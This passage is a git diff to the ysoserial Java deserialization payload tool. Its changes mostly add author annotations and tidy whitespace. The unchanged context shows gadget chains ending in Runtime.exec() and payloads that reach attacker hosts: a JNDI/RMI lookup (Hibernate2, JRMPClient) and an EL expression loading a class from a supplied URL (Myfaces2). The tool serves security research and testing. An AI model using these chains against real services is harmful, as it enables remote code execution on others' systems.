"rawtypes", "unchecked" }) -@Dependencies({"org.apache.commons:commons-collections4:4.0"}) +@Dependencies({ "org.apache.commons:commons-collections4:4.0" }) +@Authors({ Authors.FROHOFF }) public class CommonsCollections2 implements ObjectPayload> { public Queue getObject(final String command) throws Exception { diff --git a/src/main/java/ysoserial/payloads/CommonsCollections3.java b/src/main/java/ysoserial/payloads/CommonsCollections3.java index 89aa3909..d780caae 100755 --- a/src/main/java/ysoserial/payloads/CommonsCollections3.java +++ b/src/main/java/ysoserial/payloads/CommonsCollections3.java @@ -12,6 +12,7 @@ import org.apache.commons.collections.functors.InstantiateTransformer; import org.apache.commons.collections.map.LazyMap; +import ysoserial.payloads.annotation.Authors; import ysoserial.payloads.annotation.Dependencies; import ysoserial.payloads.annotation.PayloadTest; import ysoserial.payloads.util.Gadgets; @@ -26,8 +27,9 @@ * InvokerTransformer. */ @SuppressWarnings({"rawtypes", "unchecked", "restriction"}) -@Dependencies({"commons-collections:commons-collections:3.1"}) @PayloadTest ( precondition = "isApplicableJavaVersion") +@Dependencies({"commons-collections:commons-collections:3.1"}) +@Authors({ Authors.FROHOFF }) public class CommonsCollections3 extends PayloadRunner implements ObjectPayload { public Object getObject(final String command) throws Exception { @@ -59,7 +61,7 @@ public Object getObject(final String command) throws Exception { public static void main(final String[] args) throws Exception { PayloadRunner.run(CommonsCollections3.class, args); } - + public static boolean isApplicableJavaVersion() { return JavaVersion.isAnnInvHUniversalMethodImpl(); } diff --git a/src/main/java/ysoserial/payloads/CommonsCollections4.java b/src/main/java/ysoserial/payloads/CommonsCollections4.java index 3ad21476..97a763cd 100644 --- a/src/main/java/ysoserial/payloads/CommonsCollections4.java +++ b/src/main/java/ysoserial/payloads/CommonsCollections4.java @@ -11,6 +11,7 @@ import org.apache.commons.collections4.functors.ConstantTransformer; import org.apache.commons.collections4.functors.InstantiateTransformer; +import ysoserial.payloads.annotation.Authors; import ysoserial.payloads.annotation.Dependencies; import ysoserial.payloads.util.Gadgets; import ysoserial.payloads.util.PayloadRunner; @@ -24,6 +25,7 @@ */ @SuppressWarnings({ "rawtypes", "unchecked", "restriction" }) @Dependencies({"org.apache.commons:commons-collections4:4.0"}) +@Authors({ Authors.FROHOFF }) public class CommonsCollections4 implements ObjectPayload> { public Queue getObject(final String command) throws Exception { diff --git a/src/main/java/ysoserial/payloads/CommonsCollections5.java b/src/main/java/ysoserial/payloads/CommonsCollections5.java index f1f46e42..31fff0e7 100644 --- a/src/main/java/ysoserial/payloads/CommonsCollections5.java +++ b/src/main/java/ysoserial/payloads/CommonsCollections5.java @@ -14,6 +14,7 @@ import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap; +import ysoserial.payloads.annotation.Authors; import ysoserial.payloads.annotation.Dependencies; import ysoserial.payloads.annotation.PayloadTest; import ysoserial.payloads.util.Gadgets; @@ -21,7 +22,7 @@ import ysoserial.payloads.util.Reflections; /* - Gadget chain: + Gadget chain: ObjectInputStream.readObject() AnnotationInvocationHandler.readObject() Map(Proxy).entrySet() @@ -30,23 +31,24 @@ ChainedTransformer.transform() ConstantTransformer.transform() InvokerTransformer.transform() - Method.invoke() + Method.invoke() Class.getMethod() InvokerTransformer.transform() Method.invoke() Runtime.getRuntime() InvokerTransformer.transform() Method.invoke() - Runtime.exec() - + Runtime.exec() + Requires: commons-collections */ @PayloadTest(skip="need more robust way to detect Runtime.exec() without SecurityManager()") @SuppressWarnings({"rawtypes", "unchecked"}) @Dependencies({"commons-collections:commons-collections:3.1"}) +@Authors({ Authors.FROHOFF }) public class CommonsCollections5 extends PayloadRunner implements ObjectPayload { - + public BadAttributeValueExpException getObject(final String command) throws Exception { final String[] execArgs = new String[] { command }; // inert chain for setup @@ -68,9 +70,9 @@ public BadAttributeValueExpException getObject(final String command) throws Exce final Map innerMap = new HashMap(); final Map lazyMap = LazyMap.decorate(innerMap, transformerChain); - + TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo"); - + BadAttributeValueExpException val = new BadAttributeValueExpException(null); Field valfield = val.getClass().getDeclaredField("val"); valfield.setAccessible(true); @@ -80,7 +82,7 @@ public BadAttributeValueExpException getObject(final String command) throws Exce return val; } - + public static void main(final String[] args) throws Exception { PayloadRunner.run(CommonsCollections5.class, args); } diff --git a/src/main/java/ysoserial/payloads/CommonsCollections6.java b/src/main/java/ysoserial/payloads/CommonsCollections6.java index 8af4ad40..1412d2b4 100644 --- a/src/main/java/ysoserial/payloads/CommonsCollections6.java +++ b/src/main/java/ysoserial/payloads/CommonsCollections6.java @@ -6,6 +6,7 @@ import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap; +import ysoserial.payloads.annotation.Authors; import ysoserial.payloads.annotation.Dependencies; import ysoserial.payloads.util.PayloadRunner; @@ -33,6 +34,7 @@ */ @SuppressWarnings({"rawtypes", "unchecked"}) @Dependencies({"commons-collections:commons-collections:3.1"}) +@Authors({ Authors.MATTHIASKAISER }) public class CommonsCollections6 extends PayloadRunner implements ObjectPayload { public Serializable getObject(final String command) throws Exception { diff --git a/src/main/java/ysoserial/payloads/FileUpload1.java b/src/main/java/ysoserial/payloads/FileUpload1.java index 33bbee27..e10ef9a7 100644 --- a/src/main/java/ysoserial/payloads/FileUpload1.java +++ b/src/main/java/ysoserial/payloads/FileUpload1.java @@ -11,6 +11,7 @@ import org.apache.commons.io.output.DeferredFileOutputStream; import org.apache.commons.io.output.ThresholdingOutputStream; +import ysoserial.payloads.annotation.Authors; import ysoserial.payloads.annotation.Dependencies; import ysoserial.payloads.annotation.PayloadTest; import ysoserial.payloads.util.PayloadRunner; @@ -20,19 +21,19 @@ /** * Gadget chain: * DiskFileItem.readObject() - * + * * Arguments: * - copyAndDelete;sourceFile;destDir * - write;destDir;ascii-data * - writeB64;destDir;base64-data * - writeOld;destFile;ascii-data * - writeOldB64;destFile;base64-data - * + * * Yields: * - copy an arbitraty file to an arbitrary directory (source file is deleted if possible) * - pre 1.3.1 (+ old JRE): write data to an arbitrary file * - 1.3.1+: write data to a more or less random file in an arbitrary directory - * + * * @author mbechler */ @Dependencies ( { @@ -40,6 +41,7 @@ "commons-io:commons-io:2.4" } ) @PayloadTest(harness="ysoserial.payloads.FileUploadTest") +@Authors({ Authors.MBECHLER }) public class FileUpload1 implements ReleaseableObjectPayload { public DiskFileItem getObject ( String command ) throws Exception { diff --git a/src/main/java/ysoserial/payloads/Groovy1.java b/src/main/java/ysoserial/payloads/Groovy1.java index 5d249921..5e1832a0 100644 --- a/src/main/java/ysoserial/payloads/Groovy1.java +++ b/src/main/java/ysoserial/payloads/Groovy1.java @@ -6,12 +6,13 @@ import org.codehaus.groovy.runtime.ConvertedClosure; import org.codehaus.groovy.runtime.MethodClosure; +import ysoserial.payloads.annotation.Authors; import ysoserial.payloads.annotation.Dependencies; import ysoserial.payloads.util.Gadgets; import ysoserial.payloads.util.PayloadRunner; /* - Gadget chain: + Gadget chain: ObjectInputStream.readObject() PriorityQueue.readObject() Comparator.compare() (Proxy) @@ -20,26 +21,27 @@ ... Method.invoke() Runtime.exec() - + Requires: groovy */ @SuppressWarnings({ "rawtypes", "unchecked" }) @Dependencies({"org.codehaus.groovy:groovy:2.3.9"}) +@Authors({ Authors.FROHOFF }) public class Groovy1 extends PayloadRunner implements ObjectPayload { public InvocationHandler getObject(final String command) throws Exception { final ConvertedClosure closure = new ConvertedClosure(new MethodClosure(command, "execute"), "entrySet"); - - final Map map = Gadgets.createProxy(closure, Map.class); + + final Map map = Gadgets.createProxy(closure, Map.class); final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(map); - + return handler; } public static void main(final String[] args) throws Exception { PayloadRunner.run(Groovy1.class, args); - } + } } diff --git a/src/main/java/ysoserial/payloads/Hibernate1.java b/src/main/java/ysoserial/payloads/Hibernate1.java index e5b04883..01a79cec 100644 --- a/src/main/java/ysoserial/payloads/Hibernate1.java +++ b/src/main/java/ysoserial/payloads/Hibernate1.java @@ -13,13 +13,14 @@ import org.hibernate.type.ComponentType; import org.hibernate.type.Type; +import ysoserial.payloads.annotation.Authors; import ysoserial.payloads.util.Gadgets; import ysoserial.payloads.util.PayloadRunner; import ysoserial.payloads.util.Reflections; /** - * + * * org.hibernate.property.access.spi.GetterMethodImpl.get() * org.hibernate.tuple.component.AbstractComponentTuplizer.getPropertyValue() * org.hibernate.type.ComponentType.getPropertyValue(C) @@ -28,13 +29,14 @@ * org.hibernate.engine.spi.TypedValue$1.initialize() * org.hibernate.internal.util.ValueHolder.getValue() * org.hibernate.engine.spi.TypedValue.hashCode() - * - * + * + * * Requires: * - Hibernate (>= 5 gives arbitrary method invocation, <5 getXYZ only) - * + * * @author mbechler */ +@Authors({ Authors.MBECHLER }) public class Hibernate1 implements ObjectPayload, DynamicDependencies { public static String[] getDependencies () { diff --git a/src/main/java/ysoserial/payloads/Hibernate2.java b/src/main/java/ysoserial/payloads/Hibernate2.java index ad04c5eb..0ab32c78 100644 --- a/src/main/java/ysoserial/payloads/Hibernate2.java +++ b/src/main/java/ysoserial/payloads/Hibernate2.java @@ -1,6 +1,7 @@ package ysoserial.payloads; +import ysoserial.payloads.annotation.Authors; import ysoserial.payloads.annotation.PayloadTest; import ysoserial.payloads.util.PayloadRunner; @@ -8,11 +9,11 @@ /** - * + * * Another application filter bypass - * + * * Needs a getter invocation that is provided by hibernate here - * + * * javax.naming.InitialContext.InitialContext.lookup() * com.sun.rowset.JdbcRowSetImpl.connect() * com.sun.rowset.JdbcRowSetImpl.getDatabaseMetaData() @@ -24,29 +25,30 @@ * org.hibernate.engine.spi.TypedValue$1.initialize() * org.hibernate.internal.util.ValueHolder.getValue() * org.hibernate.engine.spi.TypedValue.hashCode() - * - * + * + * * Requires: * - Hibernate (>= 5 gives arbitrary method invocation, <5 getXYZ only) - * + * * Arg: * - JNDI name (i.e. rmi:) - * + * * Yields: * - JNDI lookup invocation (e.g. connect to remote RMI) - * + * * @author mbechler */ @SuppressWarnings ( { "restriction" } ) @PayloadTest( harness = "ysoserial.payloads.JRMPReverseConnectTest") +@Authors({ Authors.MBECHLER }) public class Hibernate2 implements ObjectPayload, DynamicDependencies { public static String[] getDependencies () { return Hibernate1.getDependencies(); } - + public Object getObject ( String command ) throws Exception { JdbcRowSetImpl rs = new JdbcRowSetImpl(); rs.setDataSourceName(command); diff --git a/src/main/java/ysoserial/payloads/JBossInterceptors1.java b/src/main/java/ysoserial/payloads/JBossInterceptors1.java index 42e4eede..7fe37a50 100644 --- a/src/main/java/ysoserial/payloads/JBossInterceptors1.java +++ b/src/main/java/ysoserial/payloads/JBossInterceptors1.java @@ -14,6 +14,7 @@ import org.jboss.interceptor.spi.metadata.MethodMetadata; import org.jboss.interceptor.spi.model.InterceptionModel; import org.jboss.interceptor.spi.model.InterceptionType; +import ysoserial.payloads.annotation.Authors; import ysoserial.payloads.annotation.Dependencies; import ysoserial.payloads.util.Gadgets; import ysoserial.payloads.util.PayloadRunner; @@ -25,7 +26,10 @@ by @matthias_kaiser */ @SuppressWarnings({"rawtypes", "unchecked"}) -@Dependencies({"javassist:javassist:3.12.1.GA", "org.jboss.interceptor:jboss-interceptor-core:2.0.0.Final", "javax.enterprise:cdi-api:1.0-SP1", "javax.interceptor:javax.interceptor-api:3.1", "org.jboss.interceptor:jboss-interceptor-spi:2.0.0.Final", "org.slf4j:slf4j-api:1.7.21"}) +@Dependencies({ "javassist:javassist:3.12.1.GA", "org.jboss.interceptor:jboss-interceptor-core:2.0.0.Final", + "javax.enterprise:cdi-api:1.0-SP1", "javax.interceptor:javax.interceptor-api:3.1", + "org.jboss.interceptor:jboss-interceptor-spi:2.0.0.Final", "org.slf4j:slf4j-api:1.7.21" }) +@Authors({ Authors.MATTHIASKAISER }) public class JBossInterceptors1 implements ObjectPayload { public Object getObject(final String command) throws Exception { @@ -76,4 +80,4 @@ public Object createFor(InterceptorReference paramInterceptorReference) { public static void main(final String[] args) throws Exception { PayloadRunner.run(JBossInterceptors1.class, args); } -} \ No newline at end of file +} diff --git a/src/main/java/ysoserial/payloads/JRMPClient.java b/src/main/java/ysoserial/payloads/JRMPClient.java index 383f1e57..41bf0f85 100644 --- a/src/main/java/ysoserial/payloads/JRMPClient.java +++ b/src/main/java/ysoserial/payloads/JRMPClient.java @@ -10,13 +10,14 @@ import sun.rmi.server.UnicastRef; import sun.rmi.transport.LiveRef; import sun.rmi.transport.tcp.TCPEndpoint; +import ysoserial.payloads.annotation.Authors; import ysoserial.payloads.annotation.PayloadTest; import ysoserial.payloads.util.PayloadRunner; /** - * - * + * + * * UnicastRef.newCall(RemoteObject, Operation[], int, long) * DGCImpl_Stub.dirty(ObjID[], long, Lease) * DGCClient$EndpointEntry.makeDirtyCall(Set, long) @@ -24,31 +25,32 @@ * DGCClient.registerRefs(Endpoint, List) * LiveRef.read(ObjectInput, boolean) * UnicastRef.readExternal(ObjectInput) - * + * * Thread.start() * DGCClient$EndpointEntry.(Endpoint) * DGCClient$EndpointEntry.lookup(Endpoint) * DGCClient.registerRefs(Endpoint, List) * LiveRef.read(ObjectInput, boolean) * UnicastRef.readExternal(ObjectInput) - * + * * Requires: * - JavaSE - * + * * Argument: * - host:port to connect to, host only chooses random port (DOS if repeated many times) - * + * * Yields: * * an established JRMP connection to the endpoint (if reachable) * * a connected RMI Registry proxy * * one system thread per endpoint (DOS) - * + * * @author mbechler */ @SuppressWarnings ( { "restriction" } ) @PayloadTest( harness = "ysoserial.payloads.JRMPReverseConnectSMTest") +@Authors({ Authors.MBECHLER }) public class JRMPClient extends PayloadRunner implements ObjectPayload { public Registry getObject ( final String command ) throws Exception { diff --git a/src/main/java/ysoserial/payloads/JRMPListener.java b/src/main/java/ysoserial/payloads/JRMPListener.java index 0d6f599b..80a44dba 100644 --- a/src/main/java/ysoserial/payloads/JRMPListener.java +++ b/src/main/java/ysoserial/payloads/JRMPListener.java @@ -7,6 +7,7 @@ import sun.rmi.server.ActivationGroupImpl; import sun.rmi.server.UnicastServerRef; +import ysoserial.payloads.annotation.Authors; import ysoserial.payloads.annotation.PayloadTest; import ysoserial.payloads.util.PayloadRunner; import ysoserial.payloads.util.Reflections; @@ -23,10 +24,10 @@ * TCPEndpoint.exportObject(Target) line: 411 * TCPTransport.exportObject(Target) line: 249 * TCPTransport.listen() line: 319 - * + * * Requires: * - JavaSE - * + * * Argument: * - Port number to open listener to */ @@ -34,6 +35,7 @@ "restriction" } ) @PayloadTest( skip = "This test would make you potentially vulnerable") +@Authors({ Authors.MBECHLER }) public class JRMPListener extends PayloadRunner implements ObjectPayload { public UnicastRemoteObject getObject ( final String command ) throws Exception { diff --git a/src/main/java/ysoserial/payloads/JSON1.java b/src/main/java/ysoserial/payloads/JSON1.java index ac66e7ef..b959671c 100644 --- a/src/main/java/ysoserial/payloads/JSON1.java +++ b/src/main/java/ysoserial/payloads/JSON1.java @@ -1,6 +1,7 @@ package ysoserial.payloads; +import ysoserial.payloads.annotation.Authors; import ysoserial.payloads.annotation.Dependencies; import ysoserial.payloads.util.Gadgets; import ysoserial.payloads.util.PayloadRunner; @@ -26,9 +27,9 @@ /** - * + * * A bit more convoluted example - * + * * com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getOutputProperties() * java.lang.reflect.Method.invoke(Object, Object...) * org.springframework.aop.support.AopUtils.invokeJoinpointUsingReflection(Object, Method, Object[]) @@ -52,19 +53,19 @@ * javax.management.openmbean.TabularDataSupport.equals(Object) * java.util.HashMap.putVal(int, K, V, boolean, boolean) * java.util.HashMap.readObject(ObjectInputStream) - * + * * @author mbechler * */ @SuppressWarnings ( { "rawtypes", "unchecked", "restriction" } ) -@Dependencies ( { - "net.sf.json-lib:json-lib:jar:jdk15:2.4", "org.springframework:spring-aop:4.1.4.RELEASE", +@Dependencies({ "net.sf.json-lib:json-lib:jar:jdk15:2.4", "org.springframework:spring-aop:4.1.4.RELEASE", // deep deps - "aopalliance:aopalliance:1.0", "commons-logging:commons-logging:1.2", "commons-lang:commons-lang:2.6", "net.sf.ezmorph:ezmorph:1.0.6", - "commons-beanutils:commons-beanutils:1.9.2", "org.springframework:spring-core:4.1.4.RELEASE", "commons-collections:commons-collections:3.1" -} ) + "aopalliance:aopalliance:1.0", "commons-logging:commons-logging:1.2", "commons-lang:commons-lang:2.6", + "net.sf.ezmorph:ezmorph:1.0.6", "commons-beanutils:commons-beanutils:1.9.2", + "org.springframework:spring-core:4.1.4.RELEASE", "commons-collections:commons-collections:3.1" }) +@Authors({ Authors.MBECHLER }) public class JSON1 implements ObjectPayload { public Map getObject ( String command ) throws Exception { diff --git a/src/main/java/ysoserial/payloads/JavassistWeld1.java b/src/main/java/ysoserial/payloads/JavassistWeld1.java index ed3b8e13..cb1c601f 100644 --- a/src/main/java/ysoserial/payloads/JavassistWeld1.java +++ b/src/main/java/ysoserial/payloads/JavassistWeld1.java @@ -14,6 +14,7 @@ import org.jboss.weld.interceptor.spi.metadata.MethodMetadata; import org.jboss.weld.interceptor.spi.model.InterceptionModel; import org.jboss.weld.interceptor.spi.model.InterceptionType; +import ysoserial.payloads.annotation.Authors; import ysoserial.payloads.annotation.Dependencies; import ysoserial.payloads.util.Gadgets; import ysoserial.payloads.util.PayloadRunner; @@ -25,7 +26,10 @@ by @matthias_kaiser */ @SuppressWarnings({"rawtypes", "unchecked"}) -@Dependencies({"javassist:javassist:3.12.1.GA", "org.jboss.weld:weld-core:1.1.33.Final", "javax.enterprise:cdi-api:1.0-SP1", "javax.interceptor:javax.interceptor-api:3.1","org.jboss.interceptor:jboss-interceptor-spi:2.0.0.Final", "org.slf4j:slf4j-api:1.7.21"}) +@Dependencies({"javassist:javassist:3.12.1.GA", "org.jboss.weld:weld-core:1.1.33.Final", + "javax.enterprise:cdi-api:1.0-SP1", "javax.interceptor:javax.interceptor-api:3.1", + "org.jboss.interceptor:jboss-interceptor-spi:2.0.0.Final", "org.slf4j:slf4j-api:1.7.21" }) +@Authors({ Authors.MATTHIASKAISER }) public class JavassistWeld1 implements ObjectPayload { public Object getObject(final String command) throws Exception { @@ -76,4 +80,4 @@ public Object createFor(InterceptorReference paramInterceptorReference) { public static void main(final String[] args) throws Exception { PayloadRunner.run(JavassistWeld1.class, args); } -} \ No newline at end of file +} diff --git a/src/main/java/ysoserial/payloads/Jdk7u21.java b/src/main/java/ysoserial/payloads/Jdk7u21.java index 2c3af71f..35d25b61 100755 --- a/src/main/java/ysoserial/payloads/Jdk7u21.java +++ b/src/main/java/ysoserial/payloads/Jdk7u21.java @@ -6,6 +6,7 @@ import javax.xml.transform.Templates; +import ysoserial.payloads.annotation.Authors; import ysoserial.payloads.annotation.Dependencies; import ysoserial.payloads.annotation.PayloadTest; import ysoserial.payloads.util.Gadgets; @@ -53,8 +54,9 @@ */ @SuppressWarnings({ "rawtypes", "unchecked" }) -@Dependencies() @PayloadTest ( precondition = "isApplicableJavaVersion") +@Dependencies() +@Authors({ Authors.FROHOFF }) public class Jdk7u21 implements ObjectPayload { public Object getObject(final String command) throws Exception { @@ -80,7 +82,7 @@ public Object getObject(final String command) throws Exception { return set; } - + public static boolean isApplicableJavaVersion() { JavaVersion v = JavaVersion.getLocalVersion(); return v != null && (v.major < 7 || (v.major == 7 && v.update <= 21)); diff --git a/src/main/java/ysoserial/payloads/Jython1.java b/src/main/java/ysoserial/payloads/Jython1.java index 8ba8e419..26c1d5cc 100644 --- a/src/main/java/ysoserial/payloads/Jython1.java +++ b/src/main/java/ysoserial/payloads/Jython1.java @@ -10,6 +10,7 @@ import java.util.Comparator; import java.util.PriorityQueue; +import ysoserial.payloads.annotation.Authors; import ysoserial.payloads.util.Reflections; import ysoserial.payloads.annotation.Dependencies; import ysoserial.payloads.annotation.PayloadTest; @@ -41,8 +42,9 @@ @PayloadTest(skip="non RCE") @SuppressWarnings({ "rawtypes", "unchecked", "restriction" }) @Dependencies({ "org.python:jython-standalone:2.5.2" }) +@Authors({ Authors.PWNTESTER, Authors.CSCHNEIDER4711 }) public class Jython1 extends PayloadRunner implements ObjectPayload { - + public PriorityQueue getObject(String command) throws Exception { String[] paths = command.split(";"); @@ -99,7 +101,7 @@ public PriorityQueue getObject(String command) throws Exception { return priorityQueue; } - + public static void main(final String[] args) throws Exception { PayloadRunner.run(Jython1.class, args); } diff --git a/src/main/java/ysoserial/payloads/MozillaRhino1.java b/src/main/java/ysoserial/payloads/MozillaRhino1.java index 6bf3258c..a777fb19 100644 --- a/src/main/java/ysoserial/payloads/MozillaRhino1.java +++ b/src/main/java/ysoserial/payloads/MozillaRhino1.java @@ -2,6 +2,7 @@ import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import org.mozilla.javascript.*; +import ysoserial.payloads.annotation.Authors; import ysoserial.payloads.annotation.Dependencies; import ysoserial.payloads.util.Gadgets; import ysoserial.payloads.util.PayloadRunner; @@ -16,6 +17,7 @@ */ @SuppressWarnings({"rawtypes", "unchecked"}) @Dependencies({"rhino:js:1.7R2"}) +@Authors({ Authors.MBECHLER }) public class MozillaRhino1 implements ObjectPayload { public Object getObject(final String command) throws Exception { @@ -63,4 +65,4 @@ public Object getObject(final String command) throws Exception { public static void main(final String[] args) throws Exception { PayloadRunner.run(MozillaRhino1.class, args); } -} \ No newline at end of file +} diff --git a/src/main/java/ysoserial/payloads/Myfaces1.java b/src/main/java/ysoserial/payloads/Myfaces1.java index c3f46dc1..e8c48988 100644 --- a/src/main/java/ysoserial/payloads/Myfaces1.java +++ b/src/main/java/ysoserial/payloads/Myfaces1.java @@ -15,6 +15,7 @@ import org.apache.myfaces.el.unified.FacesELContext; import org.apache.myfaces.view.facelets.el.ValueExpressionMethodExpression; +import ysoserial.payloads.annotation.Authors; import ysoserial.payloads.annotation.PayloadTest; import ysoserial.payloads.util.Gadgets; import ysoserial.payloads.util.PayloadRunner; @@ -22,35 +23,36 @@ /** - * + * * ValueExpressionImpl.getValue(ELContext) * ValueExpressionMethodExpression.getMethodExpression(ELContext) * ValueExpressionMethodExpression.getMethodExpression() * ValueExpressionMethodExpression.hashCode() * HashMap.hash(Object) * HashMap.readObject(ObjectInputStream) - * + * * Arguments: * - an EL expression to execute - * + * * Requires: * - MyFaces * - Matching EL impl (setup POM deps accordingly, so that the ValueExpression can be deserialized) - * + * * @author mbechler */ @PayloadTest(skip="Requires running MyFaces, no direct execution") +@Authors({ Authors.MBECHLER }) public class Myfaces1 implements ObjectPayload, DynamicDependencies { public Object getObject ( String command ) throws Exception { return makeExpressionPayload(command); } - + public static String[] getDependencies () { if ( System.getProperty("el") == null || "apache".equals(System.getProperty("el")) ) { return new String[] { - "org.apache.myfaces.core:myfaces-impl:2.2.9", "org.apache.myfaces.core:myfaces-api:2.2.9", + "org.apache.myfaces.core:myfaces-impl:2.2.9", "org.apache.myfaces.core:myfaces-api:2.2.9", "org.mortbay.jasper:apache-el:8.0.27", "javax.servlet:javax.servlet-api:3.1.0", @@ -59,7 +61,7 @@ public static String[] getDependencies () { }; } else if ( "juel".equals(System.getProperty("el")) ) { return new String[] { - "org.apache.myfaces.core:myfaces-impl:2.2.9", "org.apache.myfaces.core:myfaces-api:2.2.9", + "org.apache.myfaces.core:myfaces-impl:2.2.9", "org.apache.myfaces.core:myfaces-api:2.2.9", "de.odysseus.juel:juel-impl:2.2.7", "de.odysseus.juel:juel-api:2.2.7", "javax.servlet:javax.servlet-api:3.1.0", @@ -76,7 +78,7 @@ public static Object makeExpressionPayload ( String expr ) throws IllegalArgumen ELContext elContext = new FacesELContext(new CompositeELResolver(), fc); Reflections.getField(FacesContextImplBase.class, "_elContext").set(fc, elContext); ExpressionFactory expressionFactory = ExpressionFactory.newInstance(); - + ValueExpression ve1 = expressionFactory.createValueExpression(elContext, expr, Object.class); ValueExpressionMethodExpression e = new ValueExpressionMethodExpression(ve1); ValueExpression ve2 = expressionFactory.createValueExpression(elContext, "${true}", Object.class); diff --git a/src/main/java/ysoserial/payloads/Myfaces2.java b/src/main/java/ysoserial/payloads/Myfaces2.java index d90cd488..1683e433 100644 --- a/src/main/java/ysoserial/payloads/Myfaces2.java +++ b/src/main/java/ysoserial/payloads/Myfaces2.java @@ -2,38 +2,40 @@ +import ysoserial.payloads.annotation.Authors; import ysoserial.payloads.annotation.PayloadTest; import ysoserial.payloads.util.PayloadRunner; /** - * + * * ValueExpressionImpl.getValue(ELContext) * ValueExpressionMethodExpression.getMethodExpression(ELContext) * ValueExpressionMethodExpression.getMethodExpression() * ValueExpressionMethodExpression.hashCode() * HashMap.hash(Object) * HashMap.readObject(ObjectInputStream) - * + * * Arguments: * - base_url:classname - * + * * Yields: * - Instantiation of remotely loaded class - * + * * Requires: * - MyFaces * - Matching EL impl (setup POM deps accordingly, so that the ValueExpression can be deserialized) - * + * * @author mbechler */ @PayloadTest ( harness = "ysoserial.payloads.MyfacesTest" ) +@Authors({ Authors.MBECHLER }) public class Myfaces2 implements ObjectPayload, DynamicDependencies { - + public static String[] getDependencies () { return Myfaces1.getDependencies(); } - + public Object getObject ( String command ) throws Exception { int sep = command.lastIndexOf(':'); @@ -43,17 +45,17 @@ public Object getObject ( String command ) throws Exception { String url = command.substring(0, sep); String className = command.substring(sep + 1); - + // based on http://danamodio.com/appsec/research/spring-remote-code-with-expression-language-injection/ String expr = "${request.setAttribute('arr',''.getClass().forName('java.util.ArrayList').newInstance())}"; - + // if we add fewer than the actual classloaders we end up with a null entry for ( int i = 0; i < 100; i++ ) { expr += "${request.getAttribute('arr').add(request.servletContext.getResource('/').toURI().create('" + url + "').toURL())}"; } expr += "${request.getClass().getClassLoader().newInstance(request.getAttribute('arr')" + ".toArray(request.getClass().getClassLoader().getURLs())).loadClass('" + className + "').newInstance()}"; - + return Myfaces1.makeExpressionPayload(expr); } diff --git a/src/main/java/ysoserial/payloads/ROME.java b/src/main/java/ysoserial/payloads/ROME.java index 274e35a2..f0842913 100644 --- a/src/main/java/ysoserial/payloads/ROME.java +++ b/src/main/java/ysoserial/payloads/ROME.java @@ -5,29 +5,31 @@ import com.sun.syndication.feed.impl.ObjectBean; +import ysoserial.payloads.annotation.Authors; import ysoserial.payloads.annotation.Dependencies; import ysoserial.payloads.util.Gadgets; import ysoserial.payloads.util.PayloadRunner; /** - * + * * TemplatesImpl.getOutputProperties() - * NativeMethodAccessorImpl.invoke0(Method, Object, Object[]) - * NativeMethodAccessorImpl.invoke(Object, Object[]) - * DelegatingMethodAccessorImpl.invoke(Object, Object[]) - * Method.invoke(Object, Object...) - * ToStringBean.toString(String) - * ToStringBean.toString() - * ObjectBean.toString() - * EqualsBean.beanHashCode() - * ObjectBean.hashCode() + * NativeMethodAccessorImpl.invoke0(Method, Object, Object[]) + * NativeMethodAccessorImpl.invoke(Object, Object[]) + * DelegatingMethodAccessorImpl.invoke(Object, Object[]) + * Method.invoke(Object, Object...) + * ToStringBean.toString(String) + * ToStringBean.toString() + * ObjectBean.toString() + * EqualsBean.beanHashCode() + * ObjectBean.hashCode() * HashMap.hash(Object) * HashMap.readObject(ObjectInputStream) - * + * * @author mbechler * */ @Dependencies("rome:rome:1.0") +@Authors({ Authors.MBECHLER }) public class ROME implements ObjectPayload { public Object getObject ( String command ) throws Exception { @@ -36,8 +38,8 @@ public Object getObject ( String command ) throws Exception { ObjectBean root = new ObjectBean(ObjectBean.class, delegate); return Gadgets.makeMap(root, root); } - - + + public static void main ( final String[] args ) throws Exception { PayloadRunner.run(ROME.class, args); } diff --git a/src/main/java/ysoserial/payloads/Spring1.java b/src/main/java/ysoserial/payloads/Spring1.java index e077f821..00638794 100644 --- a/src/main/java/ysoserial/payloads/Spring1.java +++ b/src/main/java/ysoserial/payloads/Spring1.java @@ -10,6 +10,7 @@ import org.springframework.beans.factory.ObjectFactory; +import ysoserial.payloads.annotation.Authors; import ysoserial.payloads.annotation.Dependencies; import ysoserial.payloads.annotation.PayloadTest; import ysoserial.payloads.util.Gadgets; @@ -19,7 +20,7 @@ /* Gadget chain: - + ObjectInputStream.readObject() SerializableTypeWrapper.MethodInvokeTypeProvider.readObject() SerializableTypeWrapper.TypeProvider(Proxy).getType() @@ -28,14 +29,14 @@ ReflectionUtils.findMethod() SerializableTypeWrapper.TypeProvider(Proxy).getType() AnnotationInvocationHandler.invoke() - HashMap.get() + HashMap.get() ReflectionUtils.invokeMethod() - Method.invoke() + Method.invoke() Templates(Proxy).newTransformer() AutowireUtils.ObjectFactoryDelegatingInvocationHandler.invoke() ObjectFactory(Proxy).getObject() AnnotationInvocationHandler.invoke() - HashMap.get() + HashMap.get() Method.invoke() TemplatesImpl.newTransformer() TemplatesImpl.getTransletInstance() @@ -47,24 +48,25 @@ */ @SuppressWarnings({"rawtypes"}) -@Dependencies({"org.springframework:spring-core:4.1.4.RELEASE","org.springframework:spring-beans:4.1.4.RELEASE"}) @PayloadTest ( precondition = "isApplicableJavaVersion") +@Dependencies({"org.springframework:spring-core:4.1.4.RELEASE","org.springframework:spring-beans:4.1.4.RELEASE"}) +@Authors({ Authors.FROHOFF }) public class Spring1 extends PayloadRunner implements ObjectPayload { - + public Object getObject(final String command) throws Exception { final Object templates = Gadgets.createTemplatesImpl(command); - - final ObjectFactory objectFactoryProxy = + + final ObjectFactory objectFactoryProxy = Gadgets.createMemoitizedProxy(Gadgets.createMap("getObject", templates), ObjectFactory.class); - - final Type typeTemplatesProxy = Gadgets.createProxy((InvocationHandler) + + final Type typeTemplatesProxy = Gadgets.createProxy((InvocationHandler) Reflections.getFirstCtor("org.springframework.beans.factory.support.AutowireUtils$ObjectFactoryDelegatingInvocationHandler") .newInstance(objectFactoryProxy), Type.class, Templates.class); - + final Object typeProviderProxy = Gadgets.createMemoitizedProxy( - Gadgets.createMap("getType", 